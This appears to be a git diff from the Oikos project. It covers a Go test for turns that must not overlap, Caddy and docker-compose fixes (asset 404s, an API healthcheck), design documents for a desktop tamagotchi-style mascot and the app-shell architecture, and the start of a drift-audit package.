for i := 0; i < n; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
<-start
|
||||
if !g.acquire("shared", 0) { // background-style: skip if busy
|
||||
return
|
||||
}
|
||||
defer g.release("shared")
|
||||
cur := atomic.AddInt64(&inFlight, 1)
|
||||
for {
|
||||
m := atomic.LoadInt64(&maxInFlight)
|
||||
if cur <= m || atomic.CompareAndSwapInt64(&maxInFlight, m, cur) {
|
||||
break
|
||||
}
|
||||
}
|
||||
atomic.AddInt64(&runs, 1)
|
||||
time.Sleep(2 * time.Millisecond)
|
||||
atomic.AddInt64(&inFlight, -1)
|
||||
}()
|
||||
}
|
||||
close(start)
|
||||
wg.Wait()
|
||||
|
||||
if maxInFlight != 1 {
|
||||
t.Fatalf("max in-flight turns = %d, want 1 (turns must not overlap)", maxInFlight)
|
||||
}
|
||||
if runs == 0 {
|
||||
t.Fatal("expected at least one turn to run")
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,27 @@
|
||||
:80 {
|
||||
root * /srv
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
|
||||
# /wails/runtime.js is injected by the Wails desktop wrapper, which serves
|
||||
# the same dist/ from its own asset handler. In a browser it does not
|
||||
# exist, and the SPA fallback below answered it with index.html — so the
|
||||
# browser parsed "<!doctype html>" as JavaScript and threw
|
||||
# "SyntaxError: expected expression, got '<'" on every page load.
|
||||
# Return a real 404 instead: the tag fails quietly, and the desktop app is
|
||||
# unaffected because it never reaches this server.
|
||||
handle /wails/* {
|
||||
error 404
|
||||
}
|
||||
|
||||
# Same reasoning for any other asset: a missing .js/.css/.map answered with
|
||||
# HTML is always a confusing parse error rather than an honest 404. Only
|
||||
# real routes should fall through to the SPA.
|
||||
@asset path_regexp \.(js|mjs|css|map|json|png|jpg|svg|ico|woff2?)$
|
||||
handle @asset {
|
||||
file_server
|
||||
}
|
||||
|
||||
handle {
|
||||
file_server
|
||||
try_files {path} /index.html
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,6 +83,18 @@ services:
|
||||
command: ["api"]
|
||||
stop_signal: SIGTERM
|
||||
stop_grace_period: 30s
|
||||
# Exists so nomos can wait for the API to actually answer rather than just
|
||||
# for its container to exist — see nomos's depends_on below. wget is
|
||||
# BusyBox's, already in the alpine runtime image, so this adds no
|
||||
# dependency. /healthz pings the DB, so "healthy" means genuinely ready.
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "-q", "-O", "-", "http://127.0.0.1:8090/healthz"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 10
|
||||
# Migrations and seed run before this container, but the first bind can
|
||||
# still take a moment; failures inside the start period don't count.
|
||||
start_period: 10s
|
||||
|
||||
# Scheduler (Phase 3) — observe loop
|
||||
scheduler:
|
||||
@@ -139,7 +151,12 @@ services:
|
||||
profiles: ["full"]
|
||||
depends_on:
|
||||
api:
|
||||
condition: service_started
|
||||
# service_started only waits for the container to exist, so nomos came
|
||||
# up while the API was still binding :8090, failed its MCP initialize,
|
||||
# exited 1, and crash-looped for ~25s on every single deploy. It always
|
||||
# recovered, which is exactly why it went unnoticed. service_healthy
|
||||
# waits for the API to actually answer.
|
||||
condition: service_healthy
|
||||
environment:
|
||||
NOMOS_MCP_URL: http://api:8090/mcp
|
||||
NOMOS_AGENT_SLUG: agent:nomos
|
||||
|
||||
@@ -13,11 +13,16 @@
|
||||
> feature of it — the same relationship [components.md](../mbse/components.md)
|
||||
> has to [README.md](../mbse/README.md), applied recursively.
|
||||
|
||||
**Status of this Model:** the subsystem it describes does not exist in
|
||||
code yet. Every View below is marked **Planned**, not **Verified** —
|
||||
compare to [../mbse/README.md](../mbse/README.md)'s confidence grading,
|
||||
which this document borrows. The corresponding implementation plan is
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
**Status of this Model:** the subsystem it describes is **implemented**
|
||||
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
|
||||
Views below are marked **Implemented** where the code matches; a small
|
||||
number of requirements (distinct adult art, a true round radial menu)
|
||||
remain **Planned** as polish items. The corresponding implementation plan
|
||||
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
|
||||
which carries a deviation note at the top covering the changes made
|
||||
during implementation (hatch-on-naming, PNG-sheet art, button-column
|
||||
radial menu, 60fps loop), and the physics audit/follow-up is
|
||||
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
|
||||
|
||||
## Views in this model
|
||||
|
||||
@@ -77,22 +82,23 @@ flowchart TB
|
||||
|
||||
## 2. Requirements
|
||||
|
||||
Traced from the original feature request. All **Planned**.
|
||||
Traced from the original feature request. Status reflects the
|
||||
2026-07-20 implementation; **Planned** items are deferred polish.
|
||||
|
||||
| ID | Statement | Source | Status |
|
||||
|---|---|---|---|
|
||||
| MASC-1 | The mascot SHALL render as pixel-art, drawn from code (string pixel-grids + palette), not binary sprite assets | User request | Planned |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar) under gravity | User request + design decision | Planned |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Planned |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open a round (Sims-style) interaction menu supporting nested submenus | User request | Planned |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name | User request | Planned |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Planned |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Planned |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Planned |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Planned |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run at ~30fps via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings) | Codebase convention | Planned |
|
||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Planned |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Planned |
|
||||
| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
|
||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
|
||||
|
||||
## 3. Structural View
|
||||
|
||||
@@ -206,7 +212,7 @@ explicit before any of it is coded.
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg
|
||||
egg --> chick : hatchProgress reaches 1\n(advanceStageIfReady)
|
||||
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
|
||||
|
||||
state chick_and_adult_behaviors {
|
||||
[*] --> idle
|
||||
@@ -214,14 +220,17 @@ stateDiagram-v2
|
||||
wander --> idle
|
||||
idle --> peck : weighted random pick
|
||||
peck --> idle
|
||||
idle --> hop : weighted random pick
|
||||
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
|
||||
idle --> sleep : weighted random pick
|
||||
sleep --> idle
|
||||
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
||||
idle --> dragged : pointerdown + move\npast 5px threshold
|
||||
wander --> dragged : pointerdown + move
|
||||
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
||||
dragged --> falling : pointerup, released mid-air
|
||||
falling --> land : y reaches ground
|
||||
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
|
||||
falling --> falling : hard impact\n(one diminished bounce)
|
||||
falling --> land : y reaches ground\n(sideways momentum -> skid)
|
||||
land --> idle
|
||||
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
||||
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
||||
@@ -238,19 +247,35 @@ returns null past `behaviorUntil` — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the concrete weights.
|
||||
|
||||
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
|
||||
losing attempt at flight, not a drop — wing-beat impulses on a
|
||||
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
|
||||
falls faster than terminal velocity (hard downward tosses) decay back
|
||||
under drag instead of clamping; hard impacts bounce once, squash via a
|
||||
damped-spring render layer scaled by impact speed, and poof a burst of
|
||||
feather pixels; sideways momentum becomes a friction skid on touchdown
|
||||
and ricochets off the surface's side bounds mid-fall; the sprite
|
||||
stretches along its motion in the air and tilts into horizontal velocity
|
||||
(fall, drag, and skid); walking bobs at step frequency. All of it is
|
||||
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
|
||||
`updateJuice()` — no new assets, no new states beyond `hop`.
|
||||
|
||||
### 4.2 Tamagotchi lifecycle (long-lived state)
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg : first load,\ndefaultModel()
|
||||
egg --> chick : active time >= HATCH_MS (3min)\n+ NameDialog shown
|
||||
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
|
||||
chick --> adult : xp >= ADULT_XP (200)
|
||||
adult --> [*]
|
||||
```
|
||||
|
||||
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
||||
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame).
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
|
||||
egg → chick transition fires on first naming, not on a timed incubation
|
||||
— see the deviation note in
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
|
||||
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
||||
|
||||
@@ -258,18 +283,27 @@ motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
sequenceDiagram
|
||||
participant SSE as stores/events.ts (SSE)
|
||||
participant Stim as stimuli.ts attachStimuli
|
||||
participant Layer as MascotLayer.svelte (emit callback)
|
||||
participant FSM as behavior.ts
|
||||
participant Mascot as Mascot.svelte (canvas)
|
||||
|
||||
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
||||
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
||||
Stim->>FSM: forceBehavior(rt, 'react', {anim: 'react-alarm', durationMs})
|
||||
Stim->>Layer: emit(reaction)
|
||||
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
|
||||
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
|
||||
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
||||
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
||||
Mascot->>Mascot: next 30fps tick draws\nreact-alarm frame
|
||||
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
|
||||
Note over FSM: after durationMs,\nnext() returns to idle
|
||||
```
|
||||
|
||||
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
|
||||
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
|
||||
name, no hatched chick to react), so stimulus events are silently
|
||||
ignored until the egg hatches — this keeps the egg calm during the
|
||||
naming dialog rather than playing alarm animations behind it.
|
||||
|
||||
## 5. Interfaces View
|
||||
|
||||
**Stakeholders:** an engineer wiring a new store into the mascot's
|
||||
@@ -281,7 +315,7 @@ awareness, or auditing what it depends on.
|
||||
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
||||
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
||||
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
||||
|
||||
No interface in this table is a write path to the Oikos API — consistent
|
||||
@@ -310,13 +344,15 @@ Manual browser checklist (no automated test harness planned for v1 — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the same list in implementation-order context):
|
||||
|
||||
- Egg renders grounded at the surface bottom, wiggles occasionally, survives
|
||||
a reload at the same x (confirm `oikos-mascot` is debounced — no writes
|
||||
fire from mere walking, only from discrete transitions).
|
||||
- Egg renders grounded at the surface bottom, wiggles gently while the
|
||||
name dialog is open, and survives a reload at the same x (confirm
|
||||
`oikos-mascot` is debounced — no writes fire from mere walking, only
|
||||
from discrete transitions).
|
||||
- Dragging the egg up and releasing triggers a flutter-fall with no
|
||||
tunneling below the taskbar; dragging past the surface edges clamps.
|
||||
- Forcing hatch (debug menu action) transitions to chick, opens the name
|
||||
dialog, and the name persists across reload.
|
||||
- A fresh egg (no name) opens the name dialog on mount; submitting it
|
||||
hatches to chick; the name persists across reload. The debug "Force
|
||||
hatch" action does the same without prompting.
|
||||
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
||||
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
||||
- Right-clicking the chicken opens the radial menu centered on it, without
|
||||
|
||||
@@ -31,6 +31,7 @@ the relevant section here.
|
||||
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
||||
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
||||
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
||||
| [9. web control room — App architecture](#9-web-control-room--app-architecture) | `web/src/lib/apps.ts`, `web/src/lib/stores/windows.ts`, `web/src/lib/stores/docked.ts`, `web/src/lib/components/desktop-shell/` | ✅ live — the OS + Apps shell contract |
|
||||
|
||||
---
|
||||
|
||||
@@ -364,7 +365,11 @@ cross-origin (the Wails desktop webview, §8).
|
||||
Standalone deploy, versioned and released independently of the `oikos`
|
||||
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
||||
why "deployed" means two different release cadences depending on whether
|
||||
you mean the container or the desktop app.
|
||||
you mean the container or the desktop app. The shell-level architecture
|
||||
(window manager, app registry, docked layer) is documented separately as
|
||||
[§9 below](#9-web-control-room--app-architecture); this section covers
|
||||
the page-level concerns, §9 covers the OS + Apps contract the pages hang
|
||||
off.
|
||||
|
||||
---
|
||||
|
||||
@@ -496,6 +501,177 @@ functional sense.
|
||||
|
||||
---
|
||||
|
||||
## 9. web control room — App architecture
|
||||
|
||||
**Stakeholders:** anyone adding a page, adding a desktop overlay, or
|
||||
planning dynamic/third-party app installation. **Why this View earns its
|
||||
place:** §5 documents the *pages*; this View documents the *shell* they
|
||||
hang off — and the shell is the part whose contract a new app has to
|
||||
satisfy. It is also the layer where the "Oikos-as-OS" metaphor
|
||||
(desktop, icons, floating windows, a tamagotchi-style resident
|
||||
creature) is actually implemented, so the boundary between "Base OS" and
|
||||
"App" has to be explicit here or it doesn't exist anywhere.
|
||||
|
||||
### App architecture — Internal structure
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `web/src/lib/apps.ts` | The App registry. Two layers: `builtinApps` (static, always installed) + `installedAppIds` (persisted, from the App Store). The public `apps` store is derived (built-in + installed); `appById` is a derived Map. `installApp`/`uninstallApp` mutate the installed set. Window-id helpers (`appWindowId`, `appIdFromWindowId`) unchanged. |
|
||||
| `web/src/app-store/catalog.ts` | The installable-app catalog: `AppManifest` (persistable metadata) + `CatalogEntry` (manifest + Lucide icon + dynamic-import loader). Static in Phase 3 (apps ship with the build); Phase 4 swaps this for a fetched `/api/v1/apps` endpoint. Declares `AppPermission` (enforcement is Phase 4). |
|
||||
| `web/src/app-store/apps/Notes.svelte` | Demo installable app — a localStorage-backed scratchpad proving the install→icon→window→uninstall lifecycle end-to-end. |
|
||||
| `web/src/lib/stores/windows.ts` | The wmkit window manager singleton + the `openAppWindow` / `openEntityWindow` / `openTaskWindow` primitives. `openAppWindow` branches on `docked` (toggles visibility) vs windowed (`wm.open`); resolves the app via `get(appById)`. |
|
||||
| `web/src/lib/stores/docked.ts` | Persisted visibility for docked apps. Absent key = visible (default-on); store holds only overrides. Deliberately does **not** import `APPS` — doing so would create a static cycle (`apps.ts` → pages → `windows.ts` → here → `apps.ts`) and fire a TDZ on `APPS` at init. |
|
||||
| `web/src/lib/stores/icons.ts` | Desktop icon grid: column/row positions, drag-to-reorder, localStorage persistence. Reactive to the `apps` store — a newly-installed app gets a free cell on the next emission; `resetIconLayout` re-seeds from the live registry, not a static snapshot. |
|
||||
| `web/src/lib/components/LazyApp.svelte` | Renders an app's lazily-loaded component (`AppDef.component` is a dynamic-import loader, not the component). Shows the shared spinner while the chunk fetches; used by both WindowLayer and DockedLayer so the loading state is uniform across app kinds. Vite's module cache makes repeat opens resolve from cache. |
|
||||
| `web/src/lib/components/desktop-shell/Desktop.svelte` | Full-viewport surface: background, icons, task launcher, `<WindowLayer />`, `<DockedLayer />`, taskbar. Reads `$apps` (the derived store) so installs reflect immediately. |
|
||||
| `web/src/lib/components/desktop-shell/WindowLayer.svelte` | Floating-window stack (z-40). Resolves window id → content component; renders shared titlebar chrome. The orphan-close `$effect` is reactive on `$appById` — reinstalling an app revives its persisted window, uninstalling closes it. |
|
||||
| `web/src/lib/components/desktop-shell/DockedLayer.svelte` | Docked-app overlay (z-45). Renders `$apps.filter(a => a.docked)` gated on `dockedVisibility`. Replaces the previously-hardcoded `<MascotLayer />`. |
|
||||
| `web/src/lib/components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`; resolves icons via `$appById`. |
|
||||
| `web/src/pages/AppStore.svelte` | The App Store — lists the catalog, shows install state, install/uninstall. Installing makes the app appear on the desktop immediately (no reload) via the reactive `apps` store; uninstalling closes any open window for that app via WindowLayer's orphan-close effect. |
|
||||
|
||||
### App architecture — The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: () => Promise<{ default: Component }> // dynamic-import loader
|
||||
docked?: boolean // true = Docked Layer app, no window
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
width?: number; height?: number; minWidth?: number; minHeight?: number
|
||||
// required for windowed, forbidden for docked
|
||||
badge?: (s: DashboardSummary | null) => number
|
||||
}
|
||||
```
|
||||
|
||||
`component` is a dynamic-import loader (`() => import('../pages/X.svelte')`),
|
||||
not the component itself. Desktop icons render from metadata alone (id,
|
||||
title, icon — all static), the component chunk fetches on first window
|
||||
open, and Vite code-splits each app into its own chunk (Phase 2). The
|
||||
mascot uses the same path — `() => import('./mascot/MascotLayer.svelte')`
|
||||
— which also defers the mascot's module graph until after `apps.ts` has
|
||||
finished initializing, breaking what would otherwise be a static cycle
|
||||
(`apps.ts` → `MascotLayer` → `Mascot.svelte` → `icons.ts` → `apps.ts`).
|
||||
|
||||
Two app kinds, picked by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar | Opened by |
|
||||
|---|---|---|---|---|
|
||||
| **Windowed** (default) | wmkit floating window | yes | yes | `openAppWindow` → `wm.open` |
|
||||
| **Docked** (`docked: true`) | none — renders on the Docked Layer | no | no | `openAppWindow` → `toggleDocked` |
|
||||
|
||||
Apps receive **no props** from the shell. They import the OS-service
|
||||
surface (below) directly. The shell→app edge is one-way.
|
||||
|
||||
### App architecture — The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** the moment third-party app installation
|
||||
(Phase 3 in [the plan](../../plans/2026-07-21-frontend-os-apps-architecture.md)) lands.
|
||||
|
||||
| Service | Import |
|
||||
|---|---|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` |
|
||||
| Per-session chat / workspace / activity | `chatFor`, `workspaceFor`, `activityLogFor` from `$lib/stores/{chat,workspace,activity}` |
|
||||
| REST API | `$lib/api` (generated from OpenAPI, [ADR-0004](../adr/0004-openapi-first.md)) |
|
||||
| UI primitives | `$lib/components/ui/*` |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` |
|
||||
|
||||
### App architecture — Content resolution
|
||||
|
||||
Window ids are namespaced so the window layer resolves content purely
|
||||
from the id, with no extra bookkeeping — which is also why persisted
|
||||
windows hydrate correctly across reloads:
|
||||
|
||||
| Id shape | Renders |
|
||||
|---|---|
|
||||
| `app:<id>` | the registry app's component (`appById.get(id).component`) |
|
||||
| `session:<id>` | `SessionChatWindow` (per-session chat) |
|
||||
| `new-task` | `NewTaskChat` (singleton compose) |
|
||||
| bare slug (`type:identifier`) | `EntityDetailContent` (fallback) |
|
||||
|
||||
A hydrated `app:<id>` window whose id no longer matches a registry entry
|
||||
(an app removed since the layout was persisted) self-closes — the
|
||||
orphan-close `$effect` in `WindowLayer.svelte` sweeps it on mount.
|
||||
|
||||
### App architecture — Current population
|
||||
|
||||
Seven windowed apps + one docked app:
|
||||
|
||||
| App | Kind | Badge |
|
||||
|---|---|---|
|
||||
| `tasks` | windowed | — |
|
||||
| `kb` | windowed | — |
|
||||
| `ops` | windowed | `approvals_pending` |
|
||||
| `signals` | windowed | open signal count |
|
||||
| `knowledge` | windowed | — |
|
||||
| `learning` | windowed | — |
|
||||
| `settings` | windowed | — |
|
||||
| `mascot` (Cluck) | **docked** | — |
|
||||
|
||||
The mascot is the first docked app and the reason the docked kind
|
||||
exists; before this View it was a hardcoded `<MascotLayer />` in
|
||||
`Desktop.svelte`, not a registry entry. Its persistent model
|
||||
(`web/src/lib/mascot/state.svelte.ts`, localStorage) and sprite cache
|
||||
(`sprites.ts`) are module-scoped, so toggling visibility (unmount) and
|
||||
restoring (remount) loses no state — this is why `docked` visibility is
|
||||
a plain `{#if}` gate rather than a `keepAlive` mechanism.
|
||||
|
||||
### App architecture — Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|---|---|---|
|
||||
| Titlebar actions | `titlebarActions?: Component` on `AppDef`, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on `AppDef` | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
| Third-party manifests | `AppManifest` JSON + `/api/v1/apps` + permission model | Phase 3 |
|
||||
|
||||
Documenting these now prevents the current contract from painting itself
|
||||
into a corner; building them now would be speculative. (Lazy-loaded
|
||||
components were on this list and shipped in Phase 2 — `component` is now
|
||||
`() => Promise<{ default: Component }>` and Vite code-splits each app.)
|
||||
|
||||
### App architecture — Status and known issues
|
||||
|
||||
Phase 1 (the docked kind, mascot-as-app, the docked visibility store) and
|
||||
Phase 2 (lazy component loading — `component` as dynamic-import loader,
|
||||
`LazyApp.svelte` for uniform loading state, per-app code-splitting) have
|
||||
landed. Open items, by phase:
|
||||
|
||||
- **Phase 3 (dynamic install):** the AppOS table above becomes a real
|
||||
injected capability object, not a documentation table; permissions
|
||||
enforced at the store-access boundary; `AppManifest` format +
|
||||
`/api/v1/apps` endpoint + install flow.
|
||||
- **Late-registering apps (Phase 3 prerequisite):** `icons.ts:48` builds
|
||||
`appIds` once at module load to validate persisted positions — fine
|
||||
today (all apps are in the static `APPS` array; only their components
|
||||
are lazy), fragile the moment apps register post-load. When dynamic
|
||||
registration lands, revalidate against the live registry, not the
|
||||
import-time snapshot. Likewise `WindowLayer`'s orphan-close `$effect`
|
||||
must be gated on registry-ready so a not-yet-loaded app's persisted
|
||||
window isn't killed on hydration.
|
||||
|
||||
The static-cycle trap that bit this View during Phase 1 implementation is
|
||||
now resolved by Phase 2's lazy loading — recording it for context:
|
||||
|
||||
- `apps.ts` no longer statically imports any page or the mascot (they're
|
||||
all `() => import(...)`), so there's no static edge from `apps.ts` into
|
||||
the mascot/page module graph to cycle through `icons.ts` back to `APPS`.
|
||||
The earlier `LazyMascot.svelte` wrapper (Phase 1's cycle break) was
|
||||
deleted in Phase 2 — the lazy loader in the registry replaces it.
|
||||
`docked.ts` still must not import `APPS` (it's reached from `apps.ts`'s
|
||||
graph via `windows.ts`), and doesn't — defaults are implicit
|
||||
(absent key = visible).
|
||||
|
||||
---
|
||||
|
||||
## Keeping this document current
|
||||
|
||||
The same discipline as README.md's closing note applies here, scoped to
|
||||
|
||||
133
internal/audit/audit.go
Normal file
133
internal/audit/audit.go
Normal file
@@ -0,0 +1,133 @@
|
||||
// Package audit produces read-only drift reports over the knowledge graph and
|
||||
// monitoring state. It is the shared engine behind the
|
||||
// /api/v1/audit/drift endpoint and the audit_knowledge_graph MCP tool.
|
||||
//
|
||||
// It surfaces the structural gaps an operator otherwise discovers only by
|
||||
// accident: orphan check entities, checks targeting retired entities, probes
|
||||
// stuck down/unknown, unmonitored declared types, and live edges pointing at
|
||||
// destroyed/deprecated targets. Live-infra discovery (pct/docker/certs) is a
|
||||
// follow-up that needs host-hop execution; these categories are pure DB
|
||||
// queries, so the report is cheap, safe to run unattended, and testable.
|
||||
package audit
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
)
|
||||
|
||||
// Finding is one drift item the operator should look at.
|
||||
type Finding struct {
|
||||
Category string `json:"category"`
|
||||
Severity string `json:"severity"` // info | warning | critical
|
||||
Count int `json:"count"`
|
||||
Entities []string `json:"entities"`
|
||||
Evidence string `json:"evidence"`
|
||||
SuggestedRunbook string `json:"suggested_runbook"`
|
||||
}
|
||||
|
||||
// Summary tallies findings by category.
|
||||
type Summary struct {
|
||||
TotalFindings int `json:"total_findings"`
|
||||
ByCategory map[string]int `json:"by_category"`
|
||||
}
|
||||
|
||||
